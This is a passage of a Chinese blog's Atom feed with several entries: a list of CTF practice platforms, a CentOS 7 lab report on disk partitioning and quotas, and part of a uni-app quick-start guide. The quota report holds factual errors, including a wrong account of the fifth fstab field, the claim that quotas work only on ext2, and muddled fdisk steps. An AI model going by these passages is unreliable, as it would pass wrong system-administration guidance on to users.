href="https://blog.csdn.net/qq_26187985/article/details/83654197" >zip伪加密原理及操作_zip加密原理-CSDN博客 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;ol&gt;
&lt;li&gt;&lt;h1 id=&quot;注册看雪账号&quot;&gt;&lt;a href=&quot;#注册看雪账号&quot; class=&quot;headerlink&quot; title=&quot;注册看雪账号&quot;&gt;&lt;/a&gt;&lt;a class=&quot;link&quot;   href=&quot;https://ctf.pediy.com/&quot; &gt;注册 &lt;i clas</summary>
      
    
    
    
    
    <category term="渗透测试" scheme="http://example.com/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    
  </entry>
  
  <entry>
    <title>1-ctf练习平台</title>
    <link href="http://example.com/2024/05/08/1-ctf%E7%BB%83%E4%B9%A0%E5%B9%B3%E5%8F%B0/"/>
    <id>http://example.com/2024/05/08/1-ctf%E7%BB%83%E4%B9%A0%E5%B9%B3%E5%8F%B0/</id>
    <published>2024-05-08T09:17:26.000Z</published>
    <updated>2024-12-07T07:30:36.052Z</updated>
    
    <content type="html"><![CDATA[<table><thead><tr><th align="center">平台名</th><th align="center">网址</th></tr></thead><tbody><tr><td align="center">合天网安CTF</td><td align="center"><a class="link"   href="http://www.hetianlab.com/pages/CTFLaboratory.jsp" >http://www.hetianlab.com/pages/CTFLaboratory.jsp <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></td></tr><tr><td align="center">XCTF攻防世界</td><td align="center"><a class="link"   href="https://adworld.xctf.org.cn/" >https://adworld.xctf.org.cn/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></td></tr><tr><td align="center">i春秋 (推荐)</td><td align="center"><a class="link"   href="https://www.ichunqiu.com/battalion?t=1" >https://www.ichunqiu.com/battalion?t=1 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></td></tr><tr><td align="center">南京邮电大学CTF</td><td align="center"><a class="link"   href="https://cgctf.nuptsast.com/challenges#Web" >https://cgctf.nuptsast.com/challenges#Web <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></td></tr><tr><td align="center">网络信息安全攻防学习平台</td><td align="center"><a class="link"   href="http://hackinglab.cn/index.php" >http://hackinglab.cn/index.php <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></td></tr><tr><td align="center">BUUCTF 北京联合大学CTF(推荐)</td><td align="center"><a class="link"   href="https://buuoj.cn/" >https://buuoj.cn/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></td></tr><tr><td align="center">CTFHub</td><td align="center"><a class="link"   href="https://www.ctfhub.com/#/index" >https://www.ctfhub.com/#/index <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></td></tr><tr><td align="center">BugkuCTF</td><td align="center"><a class="link"   href="https://ctf.bugku.com/" >https://ctf.bugku.com/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> <a class="link"   href="https://www.amanctf.com/" >https://www.amanctf.com/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></td></tr><tr><td align="center">看雪CTF</td><td align="center"><a class="link"   href="https://ctf.pediy.com/" >https://ctf.pediy.com/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></td></tr><tr><td align="center">DCN-CTF</td><td align="center"><a class="link"   href="http://dcnctf.com/" >http://dcnctf.com/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></td></tr><tr><td align="center">NSCTF</td><td align="center"><a class="link"   href="http://ctft.nsctf.cn/" >http://ctft.nsctf.cn/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></td></tr><tr><td align="center">航电CTF</td><td align="center"><a class="link"   href="http://sec.hdu.edu.cn/" >http://sec.hdu.edu.cn/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></td></tr><tr><td align="center">hacker101 CTF</td><td align="center"><a class="link"   href="https://ctf.hacker101.com/" >https://ctf.hacker101.com/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></td></tr><tr><td align="center">catf1ag</td><td align="center"><a class="link"   href="http://ctf.vfree.ltd/" >http://ctf.vfree.ltd/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></td></tr><tr><td align="center">WCTF</td><td align="center"><a class="link"   href="https://ctf.360.com/" >https://ctf.360.com/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></td></tr><tr><td align="center">实验吧（升级中）</td><td align="center"><a class="link"   href="http://www.shiyanbar.com/" >http://www.shiyanbar.com/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></td></tr><tr><td align="center">封神台</td><td align="center"><a class="link"   href="https://hack.zkaq.cn/?a=battle" >https://hack.zkaq.cn/?a=battle <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></td></tr><tr><td align="center">Ctf秀</td><td align="center"><a class="link"   href="https://ctf.show/" >https://ctf.show/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></td></tr><tr><td align="center">必火CTF培训</td><td align="center"><a class="link"   href="https://www.bihuoedu.com/ctf/" >https://www.bihuoedu.com/ctf/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></td></tr></tbody></table>]]></content>
    
    
      
      
    <summary type="html">&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;平台名&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;网址&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;合天网安CTF&lt;/td&gt;
&lt;td a</summary>
      
    
    
    
    
    <category term="渗透测试" scheme="http://example.com/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    
  </entry>
  
  <entry>
    <title>1.linux磁盘分区与磁盘配额</title>
    <link href="http://example.com/2024/04/30/1-linux%E7%A3%81%E7%9B%98%E5%88%86%E5%8C%BA%E4%B8%8E%E7%A3%81%E7%9B%98%E9%85%8D%E9%A2%9D/"/>
    <id>http://example.com/2024/04/30/1-linux%E7%A3%81%E7%9B%98%E5%88%86%E5%8C%BA%E4%B8%8E%E7%A3%81%E7%9B%98%E9%85%8D%E9%A2%9D/</id>
    <published>2024-04-30T10:59:09.000Z</published>
    <updated>2024-12-07T07:30:36.052Z</updated>
    
    <content type="html"><![CDATA[<h1 id="一、实验要求"><a href="#一、实验要求" class="headerlink" title="一、实验要求"></a><strong>一、实验要求</strong></h1><p>描述磁盘分区设计的过程，包括创建主分区、扩展分区和逻辑分区的步骤。</p><p>说明配额管理工具的安装和配置方法，以及如何设置用户配额和监控配额使用情况。</p><p>记录模拟用户操作的过程和结果，包括达到配额限制时系统的响应。</p><p>分析实验中遇到的问题和解决方法，总结实验经验。</p><h1 id="二、实验器材"><a href="#二、实验器材" class="headerlink" title="二、实验器材"></a><strong>二、实验器材</strong></h1><p>Vmware虚拟机、Centos7</p><h1 id="三、实验过程"><a href="#三、实验过程" class="headerlink" title="三、实验过程"></a><strong>三、实验过程</strong></h1><h2 id="磁盘分区设计："><a href="#磁盘分区设计：" class="headerlink" title="磁盘分区设计："></a><em><strong>磁盘分区设计：</strong></em></h2><ol><li><p>对磁盘进行分区操作。创建主分区和扩展分区，并将扩展分区转换为逻辑分区。设计合理的分区大小和数量，满足存储需求。</p><p>在CentOS 7中，您可以通过以下步骤创建主分区和扩展分区，然后将扩展分区转换为逻辑分区：</p><h3 id="（1）添加硬盘"><a href="#（1）添加硬盘" class="headerlink" title="（1）添加硬盘"></a>（1）添加硬盘</h3><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux1.jpg"                      alt="linux1"                > </p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux2.jpg"                      alt="linux2"                > </p><h3 id="（2）查看磁盘分区情况"><a href="#（2）查看磁盘分区情况" class="headerlink" title="（2）查看磁盘分区情况"></a>（2）查看磁盘分区情况</h3><p>fdisk -l</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux3.jpg"                      alt="linux3"                > </p><h3 id="（3）创建主分区和扩展分区"><a href="#（3）创建主分区和扩展分区" class="headerlink" title="（3）创建主分区和扩展分区"></a>（3）创建主分区和扩展分区</h3><p>①　sudo fdisk &#x2F;dev&#x2F;sdb（这里的 <code>sdX</code> 是您要操作的磁盘，例如 <code>sda</code>）</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux4.jpg"                      alt="linux4"                > </p><p>②　在 <code>fdisk</code> 中，按下 <code>n</code> 创建新分区，选择 <code>p</code> 创建主分区，然后按照提示设置主分区的大小和位置。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux5.jpg"                      alt="linux5"                > </p><p>③　接着按下 <code>n</code> 创建新分区，选择 <code>e</code> 创建扩展分区。扩展分区将占据主分区之后的空间。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux6.jpg"                      alt="linux6"                > </p><p>④　最后按下 <code>w</code> 保存分区表并退出 <code>fdisk</code>。</p><h3 id="（4）将扩展分区转换为逻辑分区"><a href="#（4）将扩展分区转换为逻辑分区" class="headerlink" title="（4）将扩展分区转换为逻辑分区"></a>（4）将扩展分区转换为逻辑分区</h3><p>①　sudo fdisk &#x2F;dev&#x2F;sdb2</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux7.jpg"                      alt="linux7"                > </p><p>②　接着按下 <code>n</code> 创建新分区，选择 <code>l</code> 创建逻辑分区。扩展分区将占据扩展分区的空间。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux8.jpg"                      alt="linux8"                > </p><p>③　输入 <code>t</code> 来更改分区的系统标识符。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux9.jpg"                      alt="linux9"                > </p><p>④　输入 <code>l</code> 查看可用的系统标识符列表。</p><p>⑤　选择合适的系统标识符来转换扩展分区为逻辑分区。通常，逻辑分区的系统标识符是 <code>8e</code>（Linux LVM）。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux10.jpg"                      alt="linux10"                > </p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux11.jpg"                      alt="linux11"                > </p><p>⑥　输入 <code>w</code> 保存更改并退出 <code>fdisk</code>。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux12.jpg"                      alt="linux12"                > </p><p>⑦　重新加载分区表：sudo partprobe</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux13.jpg"                      alt="linux13"                > </p><p>⑧　sudo fdisk -l 查看分区情况</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux14.jpg"                      alt="linux14"                ></p></li></ol><h2 id="磁盘配额管理："><a href="#磁盘配额管理：" class="headerlink" title="磁盘配额管理："></a>磁盘配额管理：</h2><ol><li><h3 id="创建用户xiaohao1与组xiaohao1"><a href="#创建用户xiaohao1与组xiaohao1" class="headerlink" title="创建用户xiaohao1与组xiaohao1"></a>创建用户xiaohao1与组xiaohao1</h3><p>groupadd xiaohao</p><p>useradd xiaohao1</p><p>usermo -g xiaohao xiaohao1</p><p>chmod 777 &#x2F;home&#x2F;xiaohao1</p><p>chown -R xiaohao1 &#x2F;home&#x2F;xiaohao1</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux15.jpg"                      alt="linux15"                > </p></li><li><h3 id="查看已挂载的磁盘文件系统"><a href="#查看已挂载的磁盘文件系统" class="headerlink" title="查看已挂载的磁盘文件系统"></a>查看已挂载的磁盘文件系统</h3><p>df -Th</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux16.jpg"                      alt="linux16"                ></p></li><li><h3 id="设置文件系统："><a href="#设置文件系统：" class="headerlink" title="设置文件系统："></a>设置文件系统：</h3><p>以设置文件系统为“ext3”为例：mkfs.ext3 &#x2F;dev&#x2F;sdb5</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux17.jpg"                      alt="linux17"                > </p></li><li><h3 id="挂在sdb5-x2F-home-x2F-xiaohao1-x2F-：mount-x2F-dev-x2F-sdb5-x2F-home-x2F-xiaohao1"><a href="#挂在sdb5-x2F-home-x2F-xiaohao1-x2F-：mount-x2F-dev-x2F-sdb5-x2F-home-x2F-xiaohao1" class="headerlink" title="挂在sdb5 &#x2F;home&#x2F;xiaohao1&#x2F;：mount &#x2F;dev&#x2F;sdb5 &#x2F;home&#x2F;xiaohao1"></a>挂在sdb5 &#x2F;home&#x2F;xiaohao1&#x2F;：mount &#x2F;dev&#x2F;sdb5 &#x2F;home&#x2F;xiaohao1</h3><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux18.jpg"                      alt="linux18"                > </p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux19.jpg"                      alt="linux19"                > </p></li><li><h3 id="安装并配置quota工具。（配置好Yum源）"><a href="#安装并配置quota工具。（配置好Yum源）" class="headerlink" title="安装并配置quota工具。（配置好Yum源）"></a>安装并配置quota工具。（配置好Yum源）</h3><p>sudo yum install quota -y</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux20.jpg"                      alt="linux20"                > </p></li><li><h3 id="配置系统的磁盘配额支持：vim-x2F-etc-x2F-fstab"><a href="#配置系统的磁盘配额支持：vim-x2F-etc-x2F-fstab" class="headerlink" title="配置系统的磁盘配额支持：vim &#x2F;etc&#x2F;fstab"></a>配置系统的磁盘配额支持：vim &#x2F;etc&#x2F;fstab</h3><p>添加</p><p>&#x2F;dev&#x2F;sdb5  &#x2F;home&#x2F;xiaohao1  ext3 defaults,usrquota 1 2</p><p>LABEL&#x3D;&#x2F; &#x2F; ext2 defaults,usrquota,grpquota 1 1</p><p>example:quotacheck &#x2F; ; quotacheck&#x2F;home</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux21.jpg"                      alt="linux21"                > </p><p>说明：&#x2F;etc&#x2F;fstab文件的每一行由六个字段组成：</p><p> 第一个字段：文件系统（分区）的注释（类似卷标）；</p><p>第二个字段：文件系统的装载点；</p><p>第三个字段：文件系统类型（磁盘配额只能在ext2文件系统上实现）；</p><p>第四个字段：装载文件系统是使用的选项，如果只想实现基于用户的磁盘配额，就加入usrquota关键字，只想实现基于组的磁盘配额，就加入grpqouta关键字，如果两者都需要，就全写入，中间可以用逗号分隔。</p><p>第五个字段：表明该文件系统（分区）是否为只读，如果是0就表示只读，1表示可以读写。</p><p>第六个字段：表示系统启动执行fsck时检查的顺序。</p></li><li><h3 id="执行磁盘配命令报错sudo-edquota-u-xiaohao1"><a href="#执行磁盘配命令报错sudo-edquota-u-xiaohao1" class="headerlink" title="执行磁盘配命令报错sudo edquota -u xiaohao1"></a>执行磁盘配命令报错sudo edquota -u xiaohao1</h3><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux22.jpg"                      alt="linux22"                > </p><p>解释：aquota.group与aqouta.user分别是组以及用户磁盘配额需要的配置文件。如果没有这两个文件，则磁盘配额是不会生效的。</p><p>命令:quotacheck -augv</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux23.jpg"                      alt="linux23"                > </p><p>quota -av    #开启所有的配额，重新配置配额信息后，需要开启配额，否则不生效</p><p>quotaon -vug &#x2F;home&#x2F;xiaohao1    启用配额</p><p>quotaoff -vug &#x2F;home&#x2F;xiaohao1  #关闭配额（注意不可以对根分区和root用户进行限制） </p><p>​#fstab下的记录</p><p>​&#x2F;dev&#x2F;sda5        &#x2F;home&#x2F;xiaohao1        ext4   defaults,usrquota,grpquota     0 0</p><p>​mount -a #fstab使生效</p></li><li><h3 id="编辑用户的磁盘配额配置：sudo-edquota-u-xiaohao1"><a href="#编辑用户的磁盘配额配置：sudo-edquota-u-xiaohao1" class="headerlink" title="编辑用户的磁盘配额配置：sudo edquota -u xiaohao1"></a>编辑用户的磁盘配额配置：sudo edquota -u xiaohao1</h3><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux24.jpg"                      alt="linux24"                > </p><p>这表示xiaohao1用户在&#x2F;dev&#x2F;sda5分区（该分区已经在usrquota的控制之下）中迄今使用了0个数据块（以K为单位），并且没有设限制（包括软限制soft和硬限制hard），同样，xiaohao1在这个分区也没有任何文件和目录，并且也没有任何软硬限制。如果，我们想对用户进行磁盘容量的限制的话，只需要修改blocks行的limits部分就可以了，注意单位使用的是K。例如要为xiaohao1分配400M磁盘的软限制，500M硬限制，可以使用如下的设置：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux25.jpg"                      alt="linux25"                > </p><p> 同样的，要对文件目录的数量限制可以相应的修改inodes行。我们也可以同时对这两项都作出限制。</p></li><li><h3 id="实际上，以上的限制只是对用户设定的硬限制在起作用。如果需要使软限制也起作用的话，还需要对用户的软限制设定宽限期，缺省的软限制的宽限期是无穷，这可以使用edquota命令的-t选项来实现。运行下面的命令：edquota-t"><a href="#实际上，以上的限制只是对用户设定的硬限制在起作用。如果需要使软限制也起作用的话，还需要对用户的软限制设定宽限期，缺省的软限制的宽限期是无穷，这可以使用edquota命令的-t选项来实现。运行下面的命令：edquota-t" class="headerlink" title="实际上，以上的限制只是对用户设定的硬限制在起作用。如果需要使软限制也起作用的话，还需要对用户的软限制设定宽限期，缺省的软限制的宽限期是无穷，这可以使用edquota命令的-t选项来实现。运行下面的命令：edquota -t"></a>实际上，以上的限制只是对用户设定的硬限制在起作用。如果需要使软限制也起作用的话，还需要对用户的软限制设定宽限期，缺省的软限制的宽限期是无穷，这可以使用edquota命令的-t选项来实现。运行下面的命令：edquota -t</h3><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux26.jpg"                      alt="linux26"                > </p></li><li><h3 id="监控配额使用情况：repquota-a只显示root"><a href="#监控配额使用情况：repquota-a只显示root" class="headerlink" title="监控配额使用情况：repquota -a只显示root"></a>监控配额使用情况：repquota -a只显示root</h3><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux27.jpg"                      alt="linux27"                > </p></li><li><h3 id="但是用户xiaohao1设置可生效如下："><a href="#但是用户xiaohao1设置可生效如下：" class="headerlink" title="但是用户xiaohao1设置可生效如下："></a>但是用户xiaohao1设置可生效如下：</h3><p>quota -v xiaohao1</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux28.jpg"                      alt="linux28"                > </p><p>repquota -av</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux29.jpg"                      alt="linux29"                > </p></li><li><h3 id="配额测试"><a href="#配额测试" class="headerlink" title="配额测试"></a>配额测试</h3><p>su xiaohao1</p><p>touch 1 2 3 4 5 6 7 </p><p>touch 8</p><p>显示：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux30.jpg"                      alt="linux30"                > </p><p>dd if&#x3D;&#x2F;dev&#x2F;zero of&#x3D;files4 bs&#x3D;450M count&#x3D;1</p><p>dd if&#x3D;&#x2F;dev&#x2F;zero of&#x3D;files5 bs&#x3D;450M count&#x3D;1</p><p>显示：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux31.jpg"                      alt="linux31"                > </p><p>su root</p><p>查看磁盘配额：repquota -av</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/linux/linux32.jpg"                      alt="linux32"                > </p><p>发现创建不了超过硬限制的文件，不管是数量还是大小</p><p>注意事项：</p><p>硬限制（hard limit）是用户或用户组的绝对最大限制。一旦达到硬限制，用户将无法再向磁盘写入数据。</p><p>软限制（soft limit）是一个警告阈值。当用户的磁盘使用量达到软限制时，系统会发送警告，但用户仍然可以继续写入数据，直到达到硬限制为止。</p><ol><li>监控配额使用情况，定期生成配额使用报告。</li><li>模拟用户操作，测试配额限制执行的效果，包括达到硬限制和软限制时的系统响应。</li></ol></li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;一、实验要求&quot;&gt;&lt;a href=&quot;#一、实验要求&quot; class=&quot;headerlink&quot; title=&quot;一、实验要求&quot;&gt;&lt;/a&gt;&lt;strong&gt;一、实验要求&lt;/strong&gt;&lt;/h1&gt;&lt;p&gt;描述磁盘分区设计的过程，包括创建主分区、扩展分区和逻辑分区的步骤。&lt;/p&gt;</summary>
      
    
    
    
    
    <category term="linux" scheme="http://example.com/tags/linux/"/>
    
  </entry>
  
  <entry>
    <title>2.快速上手</title>
    <link href="http://example.com/2024/04/28/2-%E5%BF%AB%E9%80%9F%E4%B8%8A%E6%89%8Buni-app/"/>
    <id>http://example.com/2024/04/28/2-%E5%BF%AB%E9%80%9F%E4%B8%8A%E6%89%8Buni-app/</id>
    <published>2024-04-28T14:53:11.000Z</published>
    <updated>2024-12-07T07:30:36.052Z</updated>
    
    <content type="html"><![CDATA[<p>[官方文档](<a class="link"   href="https://uniapp.dcloud.net.cn/quickstart-hx.html" >uni-app官网 (dcloud.net.cn) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>)</p><ol><li><p><a href="#%E5%88%9B%E5%BB%BAuni-app">创建uni-app</a></p></li><li><p><a href="#%E8%BF%90%E8%A1%8Cuni-app">运行uni-app</a></p></li><li><p><a href="#%E5%8F%91%E5%B8%83uni-app">发布uni-app</a></p><p>3.1 <a href="#%E6%89%93%E5%8C%85%E4%B8%BA%E5%8E%9F%E7%94%9Fapp">打包为原生App</a></p><p>3.2 <a href="#%E5%8F%91%E5%B8%83%E4%B8%BAweb%E7%BD%91%E7%AB%99">发布为Web网站</a></p><p>3.3 <a class="link"   href="https://uniapp.dcloud.net.cn/quickstart-hx.html#%E5%8F%91%E5%B8%83%E4%B8%BA%E5%B0%8F%E7%A8%8B%E5%BA%8F" >发布为小程序 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>3.4 <a class="link"   href="https://uniapp.dcloud.net.cn/quickstart-hx.html#%E5%8F%91%E5%B8%83%E4%B8%BA%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F" >发布为微信小程序： <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>3.5 <a class="link"   href="https://uniapp.dcloud.net.cn/quickstart-hx.html#%E5%8F%91%E5%B8%83%E4%B8%BA%E7%99%BE%E5%BA%A6%E5%B0%8F%E7%A8%8B%E5%BA%8F" >发布为百度小程序： <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>3.6 <a class="link"   href="https://uniapp.dcloud.net.cn/quickstart-hx.html#%E5%8F%91%E5%B8%83%E4%B8%BA%E6%94%AF%E4%BB%98%E5%AE%9D%E5%B0%8F%E7%A8%8B%E5%BA%8F" >发布为支付宝小程序： <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>3.7 <a class="link"   href="https://uniapp.dcloud.net.cn/quickstart-hx.html#%E5%8F%91%E5%B8%83%E4%B8%BA%E6%8A%96%E9%9F%B3%E5%B0%8F%E7%A8%8B%E5%BA%8F" >发布为抖音小程序： <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p></li></ol><p>可视化的方式比较简单，HBuilderX内置相关环境，开箱即用，无需配置nodejs。</p><p>开始之前，开发者需先下载安装如下工具：</p><ul><li>HBuilderX：<a class="link"   href="https://www.dcloud.io/hbuilderx.html" >官方IDE下载地址 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></li></ul><p>HBuilderX是通用的前端开发工具，但为<code>uni-app</code>做了特别强化。</p><h2 id="1-创建uni-app"><a href="#1-创建uni-app" class="headerlink" title="1.创建uni-app"></a><span id="创建uni-app">1.创建uni-app</span></h2><p>在点击工具栏里的文件 -&gt; 新建 -&gt; 项目（快捷键<code>Ctrl+N</code>）：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/app/app5.png"                      alt="app5"                ></p><p>选择<code>uni-app</code>类型，输入工程名，选择模板，点击创建，即可成功创建。</p><p>uni-app自带的模板有 默认的空项目模板、Hello uni-app 官方组件和API示例，还有一个重要模板是 uni ui项目模板，日常开发推荐使用该模板，已内置大量常用组件。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/app/app6.png"                      alt="app6"                ></p><p>开发者也可以使用<code>cli</code>方式创建项目，另见<a class="link"   href="https://uniapp.dcloud.io/quickstart-cli.html" >文档 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>。</p><p>差别是：HBuilderX创建的项目根目录就是源码，可直接编辑。uni-app的编译器在HBuilderX的插件目录下，跟随HBuilderX升级而一起升级。</p><p>如果开发者习惯于node模式的项目，对HBuilderX可视化方式感到困惑，可另行参考文档：<a class="link"   href="https://uniapp.dcloud.net.cn/quickstart-cli.html#clidiff" >## cli创建项目和HBuilderX可视化界面创建项目的区别 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h2 id="2-运行uni-app"><a href="#2-运行uni-app" class="headerlink" title="2.运行uni-app"></a><span id='运行uni-app'>2.运行uni-app</span></h2><ol><li><p>浏览器运行：进入hello-uniapp项目，点击工具栏的运行 -&gt; 运行到浏览器 -&gt; 选择浏览器，即可体验 uni-app 的 web 版。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/app/app7.png"                      alt="app7"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/app/app8.png"                      alt="app8"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/app/app10.png"                      alt="app10"                ></p></li><li><p>运行App到手机或模拟器：使用电压足够的usb端口连接手机，设置中开启USB调试，手机上允许电脑设备调试手机，进入hello-uniapp项目，点击工具栏的运行 -&gt; 运行App到手机或模拟器，即可在该设备里面体验uni-app。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/app/app9.png"                      alt="app9"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/app/app11.png"                      alt="app11"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/app/app12.png"                      alt="app12"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/app/app13.png"                      alt="app13"                ></p><p><font color='red'>注意事项：</font></p><ol><li>数据线连电脑</li><li>打开开发者模式</li><li>打开USB调试</li><li>打开USB安装</li></ol></li><li><p>在微信开发者工具里运行：进入hello-uniapp项目，点击工具栏的运行 -&gt; 运行到小程序模拟器 -&gt; 微信开发者工具，即可在微信开发者工具里面体验uni-app。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/app/app14.png"                      alt="app14"                ></p><p><strong>注意</strong>：如果是第一次使用，需要先配置小程序ide的相关路径，才能运行成功。如下图，需在输入框输入微信开发者工具的安装路径。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/app/app15.png"                      alt="app15"                ></p></li><li><p>在支付宝小程序开发者工具里运行：进入hello-uniapp项目，点击工具栏的运行 -&gt; 运行到小程序模拟器 -&gt; 支付宝小程序开发者工具，即可在支付宝小程序开发者工具里面体验uni-app。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/app/app16.png"                      alt="app16"                ></p></li><li><p>在百度、抖音、QQ、快应用（分联盟和华为）、快手、飞书、360、京东等小程序开发工具里运行：内容同上，不再重复。</p></li><li><p><strong>Tips</strong></p><ul><li>如果是第一次使用，需要配置开发工具的相关路径。点击工具栏的运行 -&gt; 运行到小程序模拟器 -&gt; 运行设置，配置相应小程序开发者工具的路径。</li><li>微信小程序工具需要配置允许权限，不然HBuilder无法调用微信小程序开发工具的命令行</li><li>支付宝&#x2F;百度&#x2F;抖音&#x2F;360小程序工具，不支持直接指定项目启动并运行。因此开发工具启动后，请将 HBuilderX 控制台中提示的项目路径，在相应小程序开发者工具中打开。</li><li>如果自动启动小程序开发工具失败，请手动启动小程序开发工具并将 HBuilderX 控制台提示的项目路径，打开项目。</li></ul><p>运行的快捷键是<code>Ctrl+R</code>。</p><p>HBuilderX 还提供了快捷运行菜单，可以按数字快速选择要运行的设备：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/app/app17.png"                      alt="app17"                ></p></li></ol><h2 id="3-发布uni-app"><a href="#3-发布uni-app" class="headerlink" title="3.发布uni-app"></a><span id='发布uni-app'>3.发布uni-app</span></h2><h3 id="3-1-打包为原生App"><a href="#3-1-打包为原生App" class="headerlink" title="3.1 打包为原生App"></a><span id='打包为原生App'>3.1 打包为原生App</span></h3><p>在HBuilderX工具栏，点击发行，选择原生app-云端打包，如下图：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/app/app18.png"                      alt="app18"                ></p><p>出现如下界面，点击打包即可。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/app/app19.png"                      alt="app19"                ></p><p><font color='red'>注意：</font></p><ol><li></li></ol><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/app/app20.png"                      alt="app20"                ></p><p>解决：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/app/app21.png"                      alt="app21"                ></p><p>基本资料绑定手机号</p><h3 id="3-2-发布为Web网站"><a href="#3-2-发布为Web网站" class="headerlink" title="3.2 发布为Web网站"></a>3.2 发布为Web网站</h3><ol><li>在 <code>manifest.json</code> 的可视化界面，进行如下配置（发行在网站根目录可不配置应用基本路径），此时发行网站路径是 <a class="link"   href="http://www.xxx.com/h5%EF%BC%8C%E5%A6%82%EF%BC%9A[https://hellouniapp.dcloud.net.cn](https://hellouniapp.dcloud.net.cn/)" 